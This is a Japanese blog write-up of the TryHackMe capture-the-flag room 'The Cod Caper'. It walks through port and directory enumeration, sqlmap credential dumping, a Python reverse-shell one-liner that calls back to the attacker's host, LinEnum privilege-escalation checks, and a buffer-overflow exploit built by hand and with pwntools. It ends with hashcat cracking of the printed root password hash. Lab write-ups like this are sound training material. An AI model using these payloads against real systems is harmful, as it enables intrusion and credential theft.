TryHackMe(THM):The Cod Caper

この記事は、DeepL翻訳を利用して和訳しています。

www.deepl.com

Task 1  Intro

この部屋では、ペンテストの基本的な知識が求められます。

 

Task 2 Host Enumeration

How many ports are open on the target machine?

最初のステップは、ターゲットマシンで実行されているポートやサービスを確認することです。

nmapのコマンドオプションの一部を紹介します。

まずnmapを実行します。

# nmap -sV -sC <$IP>

f:id:akebono-haze:20210620174146p:plain


出力結果から解答できます。

What is the http-title of the web server?

What version is the ssh service?

両方ともnmapの結果からわかります。


Task 3  Web Enumeration

Task 3  Web Enumeration

Since the only services running are SSH and Apache, it is safe to assume that we should check out the web server first for possible vulnerabilities. One of the first things to do is to see what pages are available to access on the web server.

稼動しているサービスはSSHApacheだけなので、まずはWebサーバに脆弱性がないかどうかをチェックするのが無難です。まず最初にやるべきことは、ウェブサーバでアクセス可能なページを確認することです。

Recommended tool: gobuster

Useful flags:

オプション 説明
-x

ファイルの拡張子を指定します。

例) "php,txt,html"

---url 列挙するURLを指定します。
--wordlist urlパスに付加されるワードリストを指定します。

github.com

What is the name of the important file on the server?

説明文にあるwordlistを使ってgobusterを実行します。

wordlistは説明にあったリストをダウンロードして使用しました。

$ gobuster dir -u <$IP> --wordlist <$WordList> -x "php,txt,html"

f:id:akebono-haze:20210620180151p:plain

index.html以外にstatus200のファイルが解答結果です。

Task 4  Web Exploitation

ログインフォームの場合、最初にチェックすべきことの1つはSQLインジェクションです。

Recommended Tool: sqlmap

Useful Flags:

オプション 説明
-u

攻撃するURLの指定

--forms

ページ上の<form>要素からパラメータを自動的に選択する

--dump

SQLIが見つかった後、データベースからデータを取得するために使用される

--wordlist dbからほぼすべてのものをつかむ

 

What is the admin username?

What is the admin password?

説明文にあるようにsqlmapを実行します。

$ sqlmap -u http://<$IP>/administrator.php --forms --dump

f:id:akebono-haze:20210620211759p:plain

PCの性能にもよりますが、解析結果がでるまで時間がかかりました。

f:id:akebono-haze:20210620211933p:plain

How many forms of SQLI is the form vulnerable to?

出力結果から太字のログの中にある「injectable」をカウントします。

Task 5  Command Execution

 

netcatコマンドは接続を行ったり、データを送信したりするツールです。これは、リバースシェルを得るための最もポピュラーなツールの一つです。リバースシェルのペイロードを見つけるのに最適な場所は、highoncoffeeとPentestmonkeyです
highon.coffee

Pentestmonkey : 

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

After this you will have to do some additional enumeration to find pingu's ssh key, or hidden password

 

How many files are in the current directory?

先ほど見つかった資格情報を使用してログインします。

f:id:akebono-haze:20210620213430p:plain

サーバー上でコマンドを実行できると思われるこのWebページが表示されます。

f:id:akebono-haze:20210620213506p:plain

別のターミナルを起動してnetcatコマンドを実行します。

$ nc -lvnp <$PORT>

f:id:akebono-haze:20210620213623p:plain

ここに以下のコマンドを入力します。

python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<$RemoteIP_ADDRES>",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

f:id:akebono-haze:20210620213705p:plain

ターミナルに接続されました。

カレントディレクトリにあるファイルの数を調べるため、lsコマンドを実行すると解答結果が表示されます。

f:id:akebono-haze:20210620213838p:plain

 

Do I still have an account

私はまだアカウントを持っていますか?

/homeディレクトリを確認すると、「pingu」が存在しています。

What is my ssh password?

sshのパスワードはどうなっていますか?

以下のコマンドを実行すると、怪しいファイルが見つかりました。

$ find / -user“www-data” -name“*” 2> /dev/null

f:id:akebono-haze:20210620213910p:plain

f:id:akebono-haze:20210620214507p:plain

ファイルの中身を確認します。

f:id:akebono-haze:20210620214529p:plain

Task 6  LinEnum

LinEnum は privesc への可能な方法を検索する bash スクリプトです。膨大な数の可能性のある方法をチェックするため、非常に人気があり、しばしばシェルアクセスを得たときに最初に試すものの一つになります。

Linenumがあります

Method 1: SCP

そのマシンには ssh アクセスがあるので、SCP を使ってファイルをコピーすることができます。Linenumの場合、以下のように実行します。

$ scp {path to linenum} {user}@{Remote_host}:{path}

例:scp /opt/LinEnum.sh pingu@10.10.10.10:/tmp

このコマンドを実行する場合、LinEnumファイルを /tmpディレクトリに置きます。

LinEnum.shファイルがない場合は、以下のURLからダウンロードします。

github.com

Method 2: SimpleHTTPServer

SimpleHTTPServerは、あなたのホストマシン上で基本的なウェブサーバを起動するモジュールです。侵入された(リモート側)マシンがファイルをダウンロードする方法を持っていると仮定すると、あなたはLinEnumをホストPC(ローカル側)からダウンロードすることができます。

 

What is the interesting path of the interesting suid file

sshでユーザ:pinguで接続します。

f:id:akebono-haze:20210620220500p:plain

先ほどscpコマンドを実行してLinEnum.shファイルを転送します。

f:id:akebono-haze:20210620220544p:plain

リモートからアクセスされているターミナル上で、LinEnum.shファイルがあることを確認して、このファイルの実行権限を与えてます。

f:id:akebono-haze:20210620220900p:plain

その後実行します。

f:id:akebono-haze:20210620220916p:plain

実行結果を確認すると、「[-] SUIDファイル:」を確認すると、解答結果になりえるパスが表示されています。

f:id:akebono-haze:20210620220953p:plain

Task 7  pwndbg

Luckily for us I was able to snag a copy of the source code from my dad's flash drive 幸運なことに、私は父のフラッシュドライブからソースコードのコピーを手に入れることができました。

#include "unistd.h"
#include "stdio.h"
#include "stdlib.h"
void shell(){
setuid(1000);
setgid(1000);
system("cat /var/backups/shadow.bak");
}

void get_input(){
char buffer[32];
scanf("%s",buffer);
}

int main(){
get_input();
}

この問題はさっぱりわからなかったので、先人の知恵を拝借します。

このソースは32文字の入力を期待しているようですが、すぐに終了してしまいます。これはさらに調査する必要がありそうです。幸いなことに、私はそのPCを使っていた頃にバイナリ開発の練習をしていたので、調査するためのツールがプリインストールされています。そのツールの一つがpwndbgで、GDBプラグインであり、バイナリファイルを調べることができます。

ソースコードのmain関数は、get_input()関数は関数を呼び出します。この関数は32バイトのバッファーを設定し、ユーザー入力をそのバッファーに保存します。明らかに、shell()root権限を設定し、/var/backups/shadow.bakファイルの内容を出力する関数に関心があります。


このプログラムの問題は、shell()関数が呼び出されないことです。ただし、ユーザー入力のオーバーフローにより、プログラムの他の部分にジャンプできるため、関数を呼び出すことができます。

先ほど見つかったファイルをgdbコマンドで実行します。

$ gdb /opt/secret/root

f:id:akebono-haze:20210620222642p:plain

32文字を超える文字を送信したときに何かが発生するかどうかをテストすることです。このタイプを実行するために「r < <(cyclic 50)」というコマンドを入力します。そのコマンドはプログラムを実行し、50文字相当の「循環」入力をしてみます。

r < <(cyclic 50) 

周期的な入力は次のようになります。"aaaaaaabaaacaaadaaaeaaaf "などです。このような「周期的」なフォーマットであるため、特定のレジスターに対するコントロールをよりよく理解することができるのですが、それには理由があります。

このコマンドを実行すると、以下のような画面が表示されます。

f:id:akebono-haze:20210620222939p:plain

 

ここで、アセンブリの知識が役に立ちます。このケースでは、EIPを上書きすることができるようです。EIPは命令ポインタとして知られています。命令ポインタは、プログラムが次に実行すべきメモリのビットを示すもので、理想的にはプログラムが正常に実行されるはずです。しかし、上書きできるということは、理論的にはいつでもプログラムのどの部分でも実行できることになります。

ソースコードにあったシェル関数を思い出してください。EIPを上書きしてシェル関数を指すようにすれば、その関数を実行させることができます。ここで、サイクリック入力の利点が現れます。サイクリック入力は4文字/バイトのシーケンスになっているので、EIPを上書きするために必要な文字数を正確に計算することができます。

Luckily cyclic provides this functionality with the -l flag, running cyclic -l {fault address} will tell us exactly how many characters we need to provide we can overwrite EIP.

幸い、cyclicは-lフラグでこの機能を提供しており、cyclic -l {fault address}を実行すると、EIPを上書きできるようにするために必要な文字数が正確にわかります。以下のコマンドを実行します。

cyclic -l 0x6161616c

f:id:akebono-haze:20210620224154p:plain

 

Task 8  Binary-Exploitaion: Manually

前回、44文字の入力が必要なことがわかりましたが、これでプログラムの好きな部分を実行することができます。

次のステップは、シェル関数がメモリ上のどこにあるかを正確に把握し、EIPに何を設定するかを知ることです。GDBはdisassembleコマンドでこれもサポートしています。disassemble shellと入力すると、次のように表示されます。

disassemble shell

f:id:akebono-haze:20210625225819p:plain


ここで気になるのは、16進数のメモリアドレスです。つまり、44文字を入力して、"0x080484cb "と入力すれば、シェル関数が実行されるということです。

最近のCPUアーキテクチャは「リトルエンディアン」で、バイトが逆になっています。例えば、「0x080484cb」表される4バイトのデータをメインメモリに保存する際、これをメモリの下位アドレスから上位アドレスに向けて「cb」「84」「04」「08」という順番で書き込んでいく。通信ネットワークなどでデータを伝送する際のバイトの並び順についても下位バイトから順に送信します。

e-words.jp

これにはpythonを使うことができます。

方法1 - 手動変換。

python -c 'print "A"*44 + "\xcb\x84\x04\x08"'

は、ペイロードを出力しますが、手動でリトルエンディアンに変換する必要があります。

方法2 - 構造

python -c 'import struct;print "A"*44 + struct.pack("<I",0x080484cb)'

 

モジュールをインポートする必要がありますが、struct.packを使えば、メモリを自動的にリトルエンディアンに変換することができます。

44個のランダムな文字(ここではA)と、リトルエンディアンのメモリアドレスを表示すると、シェルが実行されます。これをテストするには、出力をバイナリにパイプします。

 

netcatコマンドを実行したターミナル上で以下のコマンドを実行します。

python -c 'print "A"*44 + "\xcb\x84\x04\x08"' | /opt/secret/root

は、この出力を提供してくれるはずです

f:id:akebono-haze:20210625231336p:plain

 

 

Task 9  Binary Exploitation: The pwntools way

 

Pwntoolsは、前回のタスクで行ったことをより簡単にするためのpythonライブラリです。しかし、ライブラリであるため、それを最大限に利用するにはpythonの知識が必要となります。

We start off the script with:

スクリプトの冒頭にはこう書かれています。

from pwn import *
proc = process('/opt/secret/root')

 

これは、pwntoolsライブラリからすべてのユーティリティをインポートして、スクリプトで使用できるようにし、pwntools関数を使って対話できるプロセスを作成します。

シェル関数のメモリアドレスが必要なことはわかっており、pwntoolsはELF()でそれを取得する方法を提供しています。

ELFでは、シェル関数のメモリアドレスをはじめ、バイナリの重要なポイントの様々なメモリアドレスを取得することができます。

ELFを追加すると、スクリプトは次のようになります。

from pwn import *
proc = process('/opt/secret/root')
elf = ELF('/opt/secret/root')
shell_func = elf.symbols.shell

shell_func はシェル関数のメモリアドレスを保持しています。さて、ペイロードを形成する方法が必要ですが、幸いなことにpwntoolsにはfit()があります。

fit allows us to form a payload by combining characters and our memory address. To send the payload we can use a method in our proc variable, proc.sendline(), which just sends whatever data we want to the binary. Finally we can use proc.interactive(), to view the full output of the process.

fitでは、文字とメモリアドレスを組み合わせてペイロードを形成することができます。ペイロードを送信するには、

ようになります。proc変数のメソッド proc.sendline() を使います。最後に、proc.interactive()を使えば、プロセスの全出力を見ることができます。

以上のことから、最終的なエクスプロイト・スクリプト

from pwn import *
proc = process('/opt/secret/root')
elf = ELF('/opt/secret/root')
shell_func = elf.symbols.shell
payload = fit({
44: shell_func # this adds the value of shell_func after 44 characters
})
proc.sendline(payload)
proc.interactive()

ローカルのターミナルで上記のソースを拡張子.pyで保存します。

f:id:akebono-haze:20210625234522p:plain

scpコマンドでリモートマシンへ転送します。

$ scp <転送するファイルのフルパス> <ユーザ名>@<$Remote_IP>:<転送先のディレクトリ>

f:id:akebono-haze:20210625234559p:plain

リモート側のSSHで接続しているターミナルで先ほどのpythonプログラムを実行します。

f:id:akebono-haze:20210625235102p:plain

 

Task 10  Finishing the job

パスワードのハッシュが手に入ったので、それをクラックして、ルートパスワードを手に入れることができます。ルートパスワードのハッシュが「$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.」であることを前の出力から思い出してください。

 

運なことに、hashcatはLinuxのパスワードハッシュのクラッキングをサポートしています。hashcatのモード一覧はこちら、rockyou.txt(一般的なワードリスト)はこちら(まだお持ちでない方はこちら)です。

Recommended tool - Hashcat:

hashcat.net

 

Usage: hashcat {flags} {hashfile} {wordlist}

Useful Flags:

オプション 説明
-a

アタックモードを指定します。アタックモードはmanページに記載されています。

-m どのモードを使用するかを指定します(モード一覧に戻る)

 

 

rootのハッシュ値「$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.」 を取得できました。

このハッシュ値をテキストファイルに保存します。

f:id:akebono-haze:20210626002027p:plain

hashcatコマンドを実行します。

 # hashcat -m 1800 <ハッシュ値ファイル> <パスワードリスト>

f:id:akebono-haze:20210626001317p:plain


Task 11  Thank you!

今、私はルートパスワードを持っているので、彼が私から隠そうとしている魚を手に入れることができます。)

 

完了!